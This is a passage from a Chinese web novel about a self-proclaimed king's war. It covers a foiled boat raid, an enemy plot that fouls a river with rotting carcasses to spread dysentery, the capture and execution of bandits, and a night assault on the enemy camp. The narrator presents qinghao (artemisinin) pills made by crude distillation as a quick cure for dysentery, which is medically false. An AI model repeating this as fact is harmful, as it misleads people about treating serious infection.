“懂,懂,懂……”徐谦连连应声,暗自松了口气,招呼货船继续摇桨,驶出了峡口。 待货船走远了过后。 “大哥,这帮人,有鬼。”高隆望着货船沉声说道。 “嗯……从他们驶来的第一眼,我便看出了端倪……” 高仓说道:“以咱们多年跑船经验,一艘百人的货船,绝对不会吃水这么深,肯定有什么东西在押重量。” “船舱里都仔细搜查了,除了货物没发现兵器。” “那多半就藏在船底下了。” “呵……” “水鬼营,暗潜,去摸摸底儿。” “是!” 第一百六十二章 赔了银子又折兵 “高统领,果然如您所料,那货船下吊着东西,以防水油布包裹,数量庞大!” 水鬼营首领冯江,头露出水面,抹了一把脸上的水渍汇报。 “扬帆,追上那艘货船!” 高仓大声发令,后又冲冯江道:“水鬼营暗潜过去,拆了他们的包裹,快!” “是!” 冯江与众水鬼深吸一口气,再次潜入河底。 战船扬帆摇桨,迅速冲向货船。 货船的速度,自然快不过战船,不一会儿便要被追上。 “站住!” 高仓大喊。 徐谦来到船尾,见战船来势汹汹,心中顿觉不妙,呼呵道:“快摇桨,快!往凌风渡冲锋!” “放箭!” 战船上弩箭齐射,一波箭雨覆盖,昭军死伤无数。 “再不停下,火箭轰你他娘的了!”高仓怒吼。 事到如今,徐谦也知完全暴露,既然逃不掉了,那便玉石俱焚!他狰狞踏上船尾: “你轰啊!我这船下有五百斤火油!船毁了,你们渡口也完蛋!” 他失声招呼:“快!抓紧冲向凌风渡,侯爷交代的任务死也要完成!” 货船直冲渡口。 然而,就在距离渡口莫约四五十丈距离,忽然河面升起数十根钢筋铁索! 铁索纵横交错,形成一道铁网,将货船搅得木屑乱飞! 这么重要军事渡口,怎可能不设防御? 这水下铁网,还是昔日攻陷黑虎崖时所获取,再大的船,只要是木头做的,都能给它搅得稀碎。 徐谦见行船不动,咬牙大喝:“跳水,去船底取武器,咱们跟这帮叛军拼了!” 昭君纷纷跳船。 然而才刚落入水面,白刃架着鲜血,从河里翻涌而出! 冯江提着一颗脑袋,与众水鬼从河面窜了出来,大声笑道:“蠢货,你家侯爷的计谋,早已被王上识破,尔等若敢竖着下水,便叫你们横着浮起来!” 徐谦大骇,面如死灰。 “放火箭!” 捆绑着炸药的重箭一轮齐射,钉在货船之上。 “轰隆隆!” 连番几声爆炸,再加铁网翻搅,货船瞬间瓦解,昭君血肉横飞,哪怕有侥幸跳水者,也被潜伏在河里的水鬼们一一收割。 在火光吞噬货船前,徐谦抱着船杆,一声仰天长叹: “黄军师,你计不成,害死我等了啊!” “轰隆!” 最后一声爆炸,货船彻底碎裂,徒留硝烟与残骸,在河面上漂浮游荡。 …… 凉州军,帅帐内。 “报告王上,敌军白衣渡河,意图摧毁我方渡口,被高统领一眼识破,如今全都沉于河底喂鱼了。” 探子入帐报告喜讯。 “哈哈哈……” 陆云川拍案大笑,当即令道: “来人,备一口棺材,给本王送去昭君大营…… 还有,让千目堂散些流言出去…… 攻心? 让本王来教教你,何为攻心! …… “报!” 昭军大营。 一名探子跌跌撞撞冲进帅帐。 “如何?是否得手了?”黄子京笑容满面,与陈拓一起,都迫不及待想要听到好消息。 岂料,探子接下来的一番话,让二人脸色大变: “我军白衣渡河,不知怎的被敌军察觉,徐参谋与同去一百五十名兄弟,全……全不葬身于黑河了!” “什么!” 陈拓震惊,捂着胸口连连后退,扶住案桌才勉强稳住身体。 “这怎么可能,黄某计划天衣无缝——” “报!” 又一名斥候冲进帅帐。 “凉州军方才送来了一口棺材,棺材上写着……写着……” 斥候不敢言语。 “写着什么!” 陈拓几乎疯狂。 “写着‘侯爷妙计安天下,赔了银子又折兵’,此棺……此棺送您升棺发财……” “啊!” 陈拓捂着胸口,扬天喷出一口血,摔倒在地不知死活。 “侯爷!” “快!快传军医!” …… 但事情还远远没完,继昭军阴谋失败后不久,一个如瘟疫般悄然蔓延的流言,开始在昭军底层士兵乃至附近村镇中发酵: “听说了吗?侯府为了要回那堆烂肉,给了凉州王足足几十万两银子呢!” “咱们死了那么多兄弟,抚恤金呢?” “嘿!咱们兄弟的命,在侯爷眼里还不如凉王的面子值钱呐!” “我跟你们说啊,黄军师的帐内,还摆着两口箱子呢……” 流言这种东西一旦发酵,便会如同癌细胞一般分裂扩散。 不日,对抚恤的担忧、对后勤不满,如同毒藤在连番血战受挫的昭军内部疯狂滋生缠绕。 原本只是士气低迷的军营里,一种愤懑、猜忌、失望的情绪在悄然酝酿。 除此之外,附近农庄的百姓,先前被强行抢走耕牛,害得农作无法进行,而今连连大败,钱财两空! 附近村庄,怨声载道。 昭君营中,乱作一团! “谁敢再乱传流言,军法处置!” 黄子以“杀鸡儆猴”方式,杀了一批传流言的士卒,强行压制了舆论。 帅帐中。 陈拓躺在床榻上,脸色苍白如织,双目无神望着帐顶,他好像还活着,但又好像快死了…… “唉……” 榻边号脉的军医长叹一口气,劝道:“侯爷,天气炎热又气急攻心,您万万不可再动怒了,否则……唉……” 军医摇了摇头,开了张清热去火的单子,连连叹气,摇头离开。 “咳咳……” 陈拓干咳了两声,冲候在床边的黄子京道:“子京啊,本侯……本侯不是那凉王的对手,我看还是……还是撤军吧……否则祖上积累的名声,就要毁于一旦了……” “侯爷,这个时候您撤兵,名声一样会受损,不仅如此,京师还很可能会降罪!”黄子京说道。 “那本侯该如何?强攻不成,智取也不成!龙脊关韩忠那边也是半步未尽!” 陈拓有气无力摇了摇头,“再这样耗下去,本侯便要被活活气死在这里了啊!” “凉王之谋,吾不及也,吾不及也……” 喜欢从成为悍匪开始请大家收藏:()从成为悍匪开始更新速度全网最快。 第一百六十三章 绝户毒计 “侯爷勿要气馁,某这里还有一条毒计,原本以为用不上,眼下姓陆的欺人太甚,我也将不再仁慈!” 黄子京一脸阴狠,“此计若成,最多不出半个月,凉军便可不攻自败!” “哦?子京若有妙计,尽管施展,不论付出怎样的代价,只要能让凉王小儿血债血偿,都不足为惜!” 陈拓一听此言,瞬间又恢复了些精神。 黄子京将陈拓扶回了床榻,嘱咐道:“侯爷这几日,就在帐中静养即可,军中事务我自会操办。” “还是当小心行事啊。” “侯爷放一百个心,这一回姓陆的无论如何也难以招架!” …… …… 当天夜里,良子关以东,巴山峻岭之间,清河水源上游。 月黑风高。 几个身着黑衣水靠的身影,如同鬼魅般蹚入冰冷的河水。他们从密封的皮囊中取出几个沉重的皮囊,解开系绳。 不是见血封喉的剧毒。 是数不清的、带着泥土气息、腐败发霉的谷物和大量腐烂腥臭的动物下水、内脏残骸! “哗啦啦……” 黑衣人手脚麻利,将散发着恶臭的污物尽数倾倒入清澈的河水中!浓烈的腐臭瞬间弥漫开来。 “头儿,咱们干这种事儿,怕是会生儿子没屁眼哦……” “你管那么多干什么?只要银子到手即可!” 做完这一切,黑衣人迅速匿入黑暗消失不见。 …… …… 几日内,异变陡生。 先是清河下游几个以打鱼为生的村落,突然爆发严重的疫病。 老人、孩子、壮劳力,上吐下泻,虚脱高烧。 紧接着,依靠关内溪流汲水的部分军营驻地和城边民坊,也陆续出现了成群结队的病患。 一时间,“良子关大疫”的恐慌如同瘟疫本身,在关墙内外疯狂蔓延。 “这不是瘟疫,这是痢疾。” 陆云川斩钉截铁。 痢疾主要传播途径便是粪口,故人依赖井水生活,极大可能是水源出了问题。 可是不应该啊,阵亡的兵卒尸体,都处理得很干净,怎可能会污染水源? 但这不是绝对,炎炎夏日,尸体腐烂,本来就容易滋生病毒,夏天是瘟疫传播的高发季节。 陆云川当即采取措施: “传我命令,空出一个营地,将所有有症状的士卒进行集中隔离; 还有,附近的水源可能不干净了,不能再直接饮用; 这样,大彪,你带人去搜集木炭,凡是打回来的水,通通先用木炭过滤一遍; 而后再煮沸一刻钟,取‘冷凝水’来食用。” 木炭有吸附功能,沸水可以杀菌消毒,冷凝水是蒸发原理,能够获取到纯净水。 但用隔离来控制传播范围,只能解决燃眉之急,想要彻底解决传染病,还得找到瘟疫之源。 “世钊,你熟悉水土地质,你带一批掘子军,顺着各村镇的水源往上找,看能不能找到源头。” “大勇,你带一批人,换上便装,咱们一起去山里找‘青蒿’。” 说起如何解决“痢疾”,最好的东西便是“青蒿”了。 “明白!” 接下来几日。 由于隔离与净化水源及时,军营内并没有大面积传播。 但附近村镇可就遭了殃,天天都有人腹泻致死。 甚至传起了流言: “都是因为凉王征战,死伤太多,老天爷才降下瘟疫……” “凉王本就非正统册封,行逆天之事,遭天道神罚……” “这场战争就不该打!” 突生大疫,必有猫腻! 然而探马回报,昭军营地内却没有任何染病的迹象。 这很难不让人怀疑,是昭军在暗中捣的鬼。 若真是人为传播痢疾,那这条“绝户计”实在太狠毒。 “陆头儿,那青蒿到底长不长在山里啊?咱找了三天连个影子都没见着……” 胡大勇与众士卒们光着膀子,坐在树林阴处乘凉,过去的三天,他们几乎从早找到黑,将附近山头都快找遍了,就是没找到一株。 陈世钊那边也没什么好消息,水源一般都是地下水,暗流纵横交错,想要找到污染源头确实太难。 “青蒿这种野植,山里肯定有,只是……” 陆云川望着烈日炎炎的天空,只是天公不作美,非要为难我陆云川? “再休息一刻钟,继续找。” 陆云川靠着大树坐了下来,即便一动不动,汗水也一颗一颗往下滴。 就在这时, “沙沙沙……” 一阵踩踏着树叶的脚步声突然从林中响起。 还以为是什么野兽,众士卒当即提刀警觉,结果顺着声音一看—— 是一个人。 身材羸弱矮小,穿着一件粗布衣裳,挽着袖子与裤腿,手里拿着把镰刀,背上背着个竹篓。 一副山里人的打扮。 会出现在这深山老林里,无碍乎三种人, 第一种就是陆云川他们这种来找青蒿的, 第二种是打猎的, 第三种是采药的, 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!那人手持镰刀,长得又矮,肯定不是猎人,那么他是药人? 这些天来,陆云川一直都想找个采药人带路,可惜附近山势太复杂,郎中们也不识路。 陆云川他们一行有五十几个人,都带着刀,还光着膀子,坐在树林里歇凉。 但凡是个正常人看了他们都会害怕。 那人顿了顿脚步,打算绕路离开。 “喂,小白脸,你过来!” 胡大勇起身招呼。 那人踌躇了片刻,低着头走进树林。 近了瞧他,还很年轻,二十左右,脸色略显苍白,男生女相,一副淡漠的神情。 “走近点儿啊,老子们又不是土匪,怕老子们吃了你啊?” 胡大勇喊话。 不是,这粗嗓门儿,不是土匪才怪! “大勇,闭嘴,吓着人家了。” 陆云川呵斥了声,走到那年轻人面前,笑道:“小兄弟,怎么一个人在深山老林里行走,不怕遇到豺狼虎豹么?” 年轻人估计是看陆云川说话客气,也是唯一一个没光膀子的人,神情稍稍松弛了些,轻轻吐出一句:“这里没有豺狼虎豹,倒是……” 言语至此,他扫了一眼胡大勇等人,倒是有一群匪里匪气的家伙。 “你放心,我们不是歹人,而是……良子镇上组建的乡勇,近来痢疾传染严重,想来山里采一味草药。” 陆云川解释了一番,才问道:“听你方才的语气,似乎对这片深山很熟悉,不知你识不识得‘青蒿’这种草药,它是绿色的,叶片像……像扇子一样……” 陆云川也不是本草专家,只是以前特战训练时,曾经简单了解过。 描述到最后,他也不知道自己描述了个什么东西。 年轻人默默听完,默默放下竹篓,默默揭开篓上斗笠,露出满满一篓的绿植: “我这里有很多。” 喜欢从成为悍匪开始请大家收藏:()从成为悍匪开始更新速度全网最快。 第一百六十四章 阿桑 真是踏破铁鞋无觅处得来全不费工夫! 陆云川拿起草药仔细确认了一番,错不了,这就是青蒿! “小兄弟从哪儿采集的,可否告知个地方,我有重金相谢!” 陆云川从怀中摸出一锭金子递到年轻人面前。 年轻人微微摇头,却连看都不看金子一眼,抬手指了指方向:“沿着这条小径往上走,翻过一个山包,向阳的山坡上到处都是。” “多谢!” 陆云川将金子往前递了递。 年轻人还是摇头,背上背篓便打算离开。 这年头还有人不对金子感兴趣?真是稀奇。 “小兄弟且慢。” 陆云川喊住年轻人,“你采青蒿,也是为了治痢疾?” 年轻人轻嗯了声。 “你是郎中?” “嗯。” 陆云川只知道青蒿素能治疗痢疾,但如何提取,如何配置,剂量如何把握,他是一窍不通。 眼下这年轻人会治疗痢疾,兴许他能有个什么偏方呢? “医者仁心,兄弟何不将治痢的良方贡献出来,救万民于水火。”陆云川说道。 “我……”年轻人犹豫着,“我也只是尝试,家中典籍有记载这一偏方,并不能确定。” 这都死马当活马医了,还讲究偏不偏方? “无碍无碍,你家在哪儿,我恰好也懂一些歧黄之术,我们可以一起研究。”陆云川说道。 年轻人扫了一眼胡大勇等人,片刻后才道:“他们……会吓坏村民的。” “嘶……小子,这话我可不爱听了啊!我有这么吓人吗?”胡大勇叉腰问道。 “行了,你们快将衣服穿上,将刀藏好;”陆云川吩咐道: “大勇,你带四个人随我与这位小兄弟一起回家;剩下的人,沿着小径去采集青蒿,有多少要多少。!” 士卒们便分作两批,一批去采药,另一批跟着年轻人往山下走。 莫约走了三四里山路,一个坐落于山谷中的小村庄映入眼帘。 村庄有三十余户人家,将山谷开垦得像世外桃源一般,田地里的谷物长得十分茂盛。 与年轻人的交谈中得知,她名字叫做“阿桑”,居住的村子叫做“同济村”,山谷隐蔽,很少有外人进来,除了购买些盐油之外,村民们通常也不出去。 阿桑是村子里,唯一的郎中。 在进村前,他特地交代:“太阳下山前,你们必须离开。” “怎么,你们这村子里,有金宝贝,怕我们偷?”胡大勇揉着鼻子问道。 “你们不答应,我就不带你们进村。” 阿桑突然停下脚步,表情十分凝重。 “嘿,我说你小子,你知不知道你在跟谁——” “大勇!” 陆云川轻呵了声,“眼下最重要的是配出治疗青蒿素的良方,其余皆不重要。” 扭头便答应了阿桑,天黑前只要能配出方子来,离开便离开。 这些隐居深山的村民,不喜欢被人打扰,那就不去打扰。 阿桑这才带着几人进村,来到峡谷边一处药庐。 药庐建在溪水边,几乎独立在外,是山林隐士的风格。 但阿桑太年轻了,他不像隐士。 可这药庐中除了一条大黄狗,便再也没有其他人。 当然陆云川也没有去刨根问底儿,眼下还是提取青蒿素最重要。 “大勇,你们建灶架锅,去挑些水来,过滤一番后再取冷凝水。” “是!” “不用了,这条溪水很干净,直接打来即可。”阿桑说道。 “你如此肯定?” 陆云川眉毛一挑。 “这条小溪是山涧独立水流,村子里的人吃了它都没事。”阿桑说道。 “哦?听你话里的意思,还知道附近水脉的集中水源在哪儿?” 陆云川眼睛一亮。 阿桑随手指向一座山头,“龙口山后面,有一个龙口潭,附近的地下水都是从那儿渗进去的。” 这家伙! 是上天给予陆某人的恩赐吧! 苦苦寻找的水源,还有青蒿,竟从他一个人身上得知了。 “回去通知陈世钊,龙口山。” 陆云川转身冲一名随从吩咐。 随从应了声“是”便打算离开。 “别去……我劝你们别去……” 阿桑突然出声阻止,“龙口山上……有土匪的。” 土匪二字,他说得非常小声,语气中明显有所忌惮。 “笑话,你看我们是怕土匪的那号人么?”胡大勇叉腰骄傲。 是的,曾经西北最大的土匪头子,此时此刻就站在他面前。 “龙口山聚众有四五十人呢!杀人不眨眼的!”阿桑加重语气,十分沉重。 “哇……五十多人,可真是吓死我了。”胡大勇咧了咧嘴。 “行了,阿桑兄弟提醒的是,不过瘟疫源头很可能就在龙口潭,再是刀山火海也得去探个究竟,回去让世钊他们‘注意’些。” 土匪?水源?瘟疫? 这一条阴谋脉络,似乎越来越清晰了。 “不听劝算了,随你们的便吧,总之天黑前你们必须离开。” 这章没有结束,请点击下一页继续阅读!阿桑说完走进了伙房。 陆云川则与那传话的随从再小声叮嘱了一句:“留两个活口,天黑前带过来见我。” “是。” 随从应声离去。 胡大勇等人则去挑水砍柴,陆云川跟着走进伙房。 阿桑手里抱着一本古籍,轻声念叨:“青蒿捣汁,取其精华液,煎汤,或焚烟熏蒸都有效……要捣碎么?” “捣碎怕是不够,应该需要蒸馏提纯。” 青蒿素肉汁杂质太多,必须得祛除那些叶肉,何况古籍上也说了,得取精华液。 何为精华?浓缩便是精华。 “蒸馏……何为蒸馏?”阿桑满眼好奇。 “这个解释起来就很麻烦了,你在旁边看着即可……你家中可有榛子?” “有。” “榛子,瓷碗,都拿来。” 利用制作蒸馏酒的方法,应该便可以提取青蒿精华了。 捣碎青蒿炸成汁液,加入榛子中蒸煮。 滚烫的水蒸气裹挟着药材精华升腾而上,在瓷碗底部冷凝汇聚。 一滴、两滴、三滴……粘稠的、散发浓郁奇特苦香气息的碧绿油液,就这么被提取了出来。 阿桑在一旁静静观看,头一次仔细打量了眼前这人,身上穿的是最好的绫罗蚕丝,拇指上还戴着血玉扳指……言行举止得体,也有种让人敬畏的气质。 他一定是镇子上,甚至县城里的富家公子哥儿吧? 可他真若是豪门公子,瘟疫这么严重,应该躲在家里才对,竟还会翻山越岭找青蒿? 喜欢从成为悍匪开始请大家收藏:()从成为悍匪开始更新速度全网最快。 第一百六十五章 你以为我看不出你是女人? “阿桑兄弟,手中这本古籍是从哪儿来的?” 由于没有完善的蒸馏冷凝装置,获取青蒿精华液非常慢,在等待期间,陆云川与这小郎中闲聊。 阿桑不善言辞,只淡淡道:“我师傅的。” “那你师傅呢?” “百年了。” “既然孤苦伶仃,不如换个活法?” 陆云川邀请道:“如今时逢大疫,正是你建功立业的好机会,我与凉王颇有私教,可引荐你入军营; 若你能帮忙解决渡过这场疫病,保证你升官发财,离开这穷乡僻壤。” “没兴趣。” 阿桑果断拒绝,语气中还带着一丝不屑。 陆云川微微皱眉,没想到给回绝得这么果断,“你有什么顾虑么?” “我讨厌凉王。”阿桑说道。 “凉王爱民如子,替天行道,你怎会讨厌他?” “那不过是当权者为了笼络民心,巩固自己政治手段而已,他若真爱民如子,又怎会四处征战?良子关伏尸数万,都是他的杰作。” 阿桑似乎有吐不尽的怨气,“西北来了这么个嗜血的君王,注定要年年征战,天天打仗,最后还不是要征徭役,抓壮丁,加赋税,闹得十室九空,这一切都得百姓来承担。” 陆云川沉默了。 这番话是值得反思的。 自立为王就算包装得再好,那也是挑战正统,在西北边境建立政权,肯定得以攻为守,以战养战。 见陆云川久久不言,阿桑脸上又闪过些许担忧,“今日这番话,只是我个人的怨言,无关其他人,你别回去告诉凉王了……” “凉王没你想象中的那么小肚鸡肠。” “可我听到的流言,说凉王嗜血弑杀,一句话不对便要杀人全家,灭人全村。” 阿桑说这话时,身体都在发抖。 陆云川眯了眯眼睛,我有这么残忍么? 突然也觉得有些好笑,待会儿眼前这小郎中,知道自己便是凉王,会作何感想? “你若真的想感谢我的话……” 阿桑犹顿了顿,犹豫了片刻,才道:“我有个哥哥,五年前被抓去北境打仗了,至今未有消息传回……” 北境? 那应该是抵御北狄的部队。 五年未归? 陆云川不想泼人冷水,多半是战死沙场了,连尸体都不知是被秃鹫吃进肚子,还是被埋在哪个坑里。 “他叫什么名字?” “姜武。” “好,回去后,我会托人问问看。” 阿桑小声了句“谢谢”,回头继续按照古籍配药。 青蒿精华是主药,还有七七八八的一些辅药,陆云川也不懂,只能站在一旁观看。 阿桑将药材碾成粉末,按照比例兑入青蒿汁,搅拌后筛成一颗颗“青色”药丸。 这药丸吧,闻着就很苦…… 一番制作下来,得“青蒿丸”共五十枚,阿桑留了十枚,剩下的全部给了陆云川。 “这药是否有效,还得找人试吃才知,你带回镇上挑十个人,寅时,辰时,午时,酉时,亥时,各服一枚,观察两日,方知效果如何。” 阿桑擦了擦汗水,将青蒿丸用罐子装好递给陆云川,而后还嘟嚷了句:“若师傅的古籍没错,应该有效……” 陆云川应了声好,接过罐子,扭头瞥了一眼窗外,不知不觉,已经夕阳西下。 “糟糕,都这么晚了,你们快走,快快走!” 阿桑半推半搡,将陆云川请出伙房。 哪儿知刚出门,便看见胡大勇几人,在院子里架了堆火,串了几只野鸡在翻烤。 “陆头儿,你出来了啊,忙了一下午,肚子饿了吧?刚去逮了几只野鸡,现在差不多火候了!”胡大勇招呼道。 “不行!” 阿桑厉声呵斥:“你们答应过我的,天黑前便离开!” 陆云川摇头笑了笑,淡定接过一只烧鸡,“天马上便要黑了,山里豺狼虎豹那么多,走夜路只怕很危险。” “豺狼虎豹总好过提刀悍匪!若是让龙口山的山大王知道,村子收留了陌生人,不仅你们要遭殃,整个村子都得倒霉!” 阿桑操起门边的锄头,往地上狠狠跺了两下,瞪着眼睛:“再不走,我可要赶你们了!” “哈哈哈……小白脸,你拿这把锄头,是要给哥刮胡子么?”胡大勇大笑。 “你们——” “沙沙沙……” 这时,进村的小径处,传来一阵急促的脚步声。 而后,几十只火把在深山中亮起,就沿着山径不断向村子靠近。 “是龙口山的土匪来了,你们快……快藏起来!”阿桑惊呼着,就要拉着陆云川往房间里塞。 “阿桑兄弟,你瞧仔细了,那是土匪么?”陆云川笑着指了指山径中显现的身影。 那是一列列身披甲胄,全副武装的凉国士卒。 陈世钊率领五百名士卒,瞬间便包围了整个药炉。 阿桑有些不知所措,下意识往陆云川身后躲了躲,或许在他的印象中,兵要比匪更可怕。 陈世钊来到陆云川跟前,抱拳唤了声:“王上!龙口山匪寨已拔除,按照您的交代,活捉了匪首龙九与二把手郭达! 我带人查验了一番龙口潭,结果发现潭中遍布动物残骸,已高度腐烂,水源被污染得恶臭无比!” “带上来。” “是!” 陈世钊应声回军阵中带人。 “你……” 阿桑睁大眼睛,难以置信望着眼前的男人,他幻想过无数个此人的身份,可没想到他竟就是凉王! 方才自己还诋毁于他…… 此刻恨不得找个地缝钻进去。 “本王并不嗜血弑杀,而且心胸宽阔,不会跟……一个女人一般见识的。”陆云川扭头盯着阿桑脸说道。 “什……什么女人……”阿桑后退了两步,心虚不敢抬头。 陆云川摇头暗笑,长得矮,皮肤白,说话细腻,还没有喉结,真当我是瞎子,看不出你是个女人? 喜欢从成为悍匪开始请大家收藏:()从成为悍匪开始更新速度全网最快。 第一百六十六章出兵良子关 龙口山的土匪头子龙九与郭达被扔到陆云川脚下,已经被打得只剩下半条命。 陆云川很生气,老子当土匪时,也从未干过如此丧心病狂之事,往水源里投毒,简直是反人类行为。 “说吧,谁让你们这么干的?”陆云川冷声问道。 “不知道啊,不知道……我们也不知道为何龙口潭会有那么多尸体……” 龙九连连摇头,矢口否认。 陆云川冷眼凝视着龙九,“杀。” 陈世钊拔刀而出,一刀砍掉了龙九脑袋,鲜血溅了郭达一身。 “我说!我说!” 郭达吓得股下流出黄液,“是侯爷府的人,送了一千两银子,让我们在水源抛尸……我当时犹豫来着,可龙九他执迷不悟,见钱眼开……” “事到如今,说这些有什么用呢?” 陆云川背过身去,懒得再多看,“打断其双手双足,以囚车拉到各村镇游街示众,再发王令通告凉州与利州两境,将侯爷府的恶行公告天下!” “是!” “王上饶命,王上饶命啊……” 饶命?就你所犯这罪,死一万次都不够! “这是‘青蒿丸’,拿回去先给隔离营的士卒们试试效果,若是有用,再大批量生产,先确保附近村民能第一时间得到救治。” “是!” 而后,陆云川找阿桑写了个青蒿丸的配方。 “你叫什么名字?”离开前,陆云川问道。 “姜……姜采桑……”阿桑低头说道。 “先前本王承过,会托人帮你寻亲,但丑话说在前头,你不要抱太多希望。” 陆云川说道:“今日多亏你指引,本王才能找到瘟疫之源,送你钱你不要,送你仕途你也不稀罕,那么这个人情就先欠着吧, 日后你若改变主意,可以随时来雍州找我,本王很敬重人才; 那么,姜姑娘,告辞了。” 言毕,不再多说,收兵离开了药炉。 姜采桑望着逐渐远去的火把,暗自咬了咬嘴唇,那些对凉王的偏见全部变作了自我愚昧。 她叹了口气,扯下了头上的纶巾,盘绕的秀发披肩而下,月光洒在白皙的脸庞,映出一张精致的容颜。 这个穿着布衣的小郎中,也是美得不可方物。 …… 青蒿丸,果有奇效。 一日止泻,两日止痛,三日病愈。 随后军营昼夜不停,大肆根据配方制药,发送到周边村镇。 同期,龙口山土匪游街示众,将侯爷府投毒的卑劣行径公告于天下。 真相终于大白! “乡亲们!瘟疫是假!投毒是真!” “昭军贼子,污蔑我王,断我水源,动我民心,不惜在你们赖以为生的上游河道投毒,放烂谷,倒腐尸,要害死你们的性命啊!” 愤怒! 如山崩海啸般的愤怒! “狗贼!黄鼠狼!不得好死!” “杀了他们!给死去的亲人报仇!” 民心如水,载舟覆舟。 民心,这无形的力量,在青蒿救命的恩义与真相面前,被彻底点燃! 从离关最近的村落开始,如同野火燎原,对凉王的拥戴与感激,以及对侯爷府、大昭军的仇恨,瞬间席卷了整个被祸害的区域,甚至如同风一般,传向了更远的地方。 昭军大营,一片愁云惨淡。 流言瘟疫破产。 水源投毒败露。 黄子京甚至不敢再出帐半步。 营中士兵看向帅帐的眼神,不再敬畏,而是充满了冰冷的审视与无法压抑的憎恨。 “子京啊……再留在此地,恐怕军中就要哗变了。” 陈拓面色蜡黄,已没有一点生气,北伐军大势已去,不可能再胜了。 黄子京纵有万般不甘,也无可奈何:“好……撤,撤回利州平原,等养精蓄锐再来征讨……” …… 此刻,良子关下,自解决了瘟疫过后,不仅是关内,就是关外也有无数百姓前来簇拥爱戴。 凉军彻彻底底变成了仁义之师,而昭军则一被提起便是一口唾沫。 凉军帅帐。 “王上,关内关外,万民请愿,希望您能诛罚武威候,破灭大昭军!” “王上!探马来报,大昭军营正在陆续撤帐,意有退兵之势!” 听完这一系列探报,陆云川冷冷一笑。 干了坏事,就想逃跑? “宣众将进帐!” “是!” 片刻后,凉州众军官进入帅帐。 “陆头儿!要干了么?!” 胡大勇撸了撸袖子。 “不错,民心在我,军心可用,昭军惶惶如惊弓之鸟,吹弹可破! 眼下时机已到,我军将主动出击,一举歼灭大昭军——胡大勇!” “末将在!” “入夜后你领本部两千豹骑,带足火油引火之物,趁夜色从侧翼进攻敌营,记住!动作要快!声势要足!火势要大!狼烟要浓!” “得令!” “王宝!你领五百豹骑,人手配两枚炸药,正面冲敌军营门,从正门炸开缺口!” “周大彪!你领一千虎骑,在营门外虎视,但见轻骑兵炸开营门,即刻发起冲锋,别的不管。直冲敌方帅帐!” “陈世钊!你领一万黑甲,待虎骑冲出纵深后,要如潮水般涌入,杀他个天昏地暗,杀他个片甲不留!” “刘马!你速速派人,去关外附近村镇放出消息,凉王今夜要替天行道,清剿大昭毒瘤,还两州百姓一个太平清净!” “末将得令!” “点起所有能战之兵,磨砺刀锋,吃顿饱的!” 陆云川猛地一挥手,如同开闸放水的闸门: “今夜,兵出良子关,直捣昭贼营!” 夜。 刚刚入夜。 “轰隆隆……” 良子关那扇仿佛永不会主动打开的沉重关门,在惊天动地的轰鸣中,豁然洞开。 关内,无数火把猛地亮起,如同燎原之火。 凉州大军如同沉默的钢铁洪流,踏着整齐而肃杀的铁蹄声、脚步声,列阵而出! 陆云川身穿鎏金甲胄,胯下一匹黑鬃烈马,背后的“凉”字王旗,在阵前被风吹得飒飒作响。 “呛!” 一声龙吟,似震荡天地! 陆云川拔出配剑,剑指昭营方向: “儿郎们!” 声音如同滚雷,在关前平原炸响,带着无匹的杀伐与决心: “昔日昭贼困我关城,辱我兄弟!毒我水源,害我百姓!” “今夜,天理昭昭,民心在我,刀锋所指,血债血偿!” “全军出击!!!” 第一百六十七章犯我凉国者,虽远必诛! “杀!!!” “杀!!!!” 凉州将士的怒吼,汇聚成撕裂天地的咆哮! 积蓄已久的怒火与复仇的意志,在这一刻彻底爆发! 前排的重甲盾兵如移动的山峦,踏着巨盾的轰鸣,向着正面的昭军堑壕碾压而去。 王宝率领豹骑,卷起漫天烟尘,铁蹄踏碎拒马,炸药破开盾阵,狠狠砸向敌营中军结合部。 昭军根本无心抵挡,几轮轰鸣的爆炸下来,竟然主动让出了一条路。 “大凉虎骑!” 周大彪一声怒吼,领重骑兵长驱直入,直捣敌方帅营! 左翼,胡大勇所率领的豹骑亦势如破竹,很快便烧出了一片火光,再被大风那么一吹,被引燃的营帐连绵不绝! 昭军营内乱作一团! “侯爷!亲卫掩护,快撤!凉军已突破寨门了!” 黄子京冲进帅帐,想要拉走陈拓。 陈拓一身戎装,坐在帅帐中,什么也没说,只是摇了摇头。 “侯爷!留得青山在不怕没柴烧!我们尚且有利州平原,还有兴元府——” “住嘴!” 陈拓怒斥,“我陈家三代人积累的声誉,已毁于一旦,今夜就让我再保留一丝气节吧!” 黄子京咬了咬牙,自知再劝已无用,赶紧退出了帅帐。 他先回到自己营帐,将两箱金子搬上马车,后率领一支百人亲卫,向营帐后方撤退。 然而才至营寨后方,突然,呐喊声如山崩地裂! 不是士兵,而是成千上万从周边村落汇聚而来的百姓! 他们手持镰刀、锄头、削尖的木棍,甚至就是燃烧的火把!眼中燃烧着被投毒害死亲人的无尽仇恨! “昭军狗贼!偿命来!” “烧了贼窝!为死去的亲人报仇!” “乡亲们!跟凉州军一起!杀贼啊!” 由熟悉地形的村民带领,如同无数道灼热的溪流,狠狠撞进了昭军疏于防备的后营! 点燃粮车,焚烧帐篷,砍杀落单的士兵! 他们不是战士,但他们胸中的怒火,此时此刻是最致命的武器! 后营也瞬间大乱! “百姓造反了!” “我们被包围了!” 惊呼声在昭军中炸开! 致命的恐慌被无限放大! 崩盘! 全面崩盘! 本就低落的军心,在断粮信号、正面铁骑雷霆冲击、加上后营百姓复仇怒火的夹击下,彻底土崩瓦解! 昭军指挥系统完全瘫痪! 各级将官各自为战,有的想组织抵抗,有的像黄子京那般准备开溜! 陈拓走出帅帐,听着四面八方传来的喊杀声,看着营中处处燃起的火光和混乱奔逃的士兵, 扪着胸口,剧烈咳嗽,嘴角鲜血不断溢出:“大势…去矣…” 就在此时! 陆云川亲率一支锋锐无匹的重甲虎骑,如同烧红的尖刀,硬生生撕开了帅帐前的最后一道防线! “拦住他!拦住凉王!” 昭军护卫亲兵疯狂扑上,却被虎骑撞得左右乱飞! 很快,亲兵被虎骑全部绞杀,只剩下陈拓一人被团团包围。 “武威候,你为何不逃?” 陆云川骑在马背上,没有嘲讽,没有高傲。 “反贼!奸贼!逆贼!恶贼!” 陈拓拔剑怒斥。 陆云川缓缓拔剑,却没有生气,反而淡淡一笑,轻轻吐出两个字: “谢谢。” 陈拓哑然失声。 或许,此时此刻,他才明白,他才领悟,为何陆云川能够自立为王。 此人,有天大的气量啊! “唰!” 陆云川一骑跳跃,剑光一闪,陈拓脖颈血痕乍现,径直扑倒在地。 “唰!” 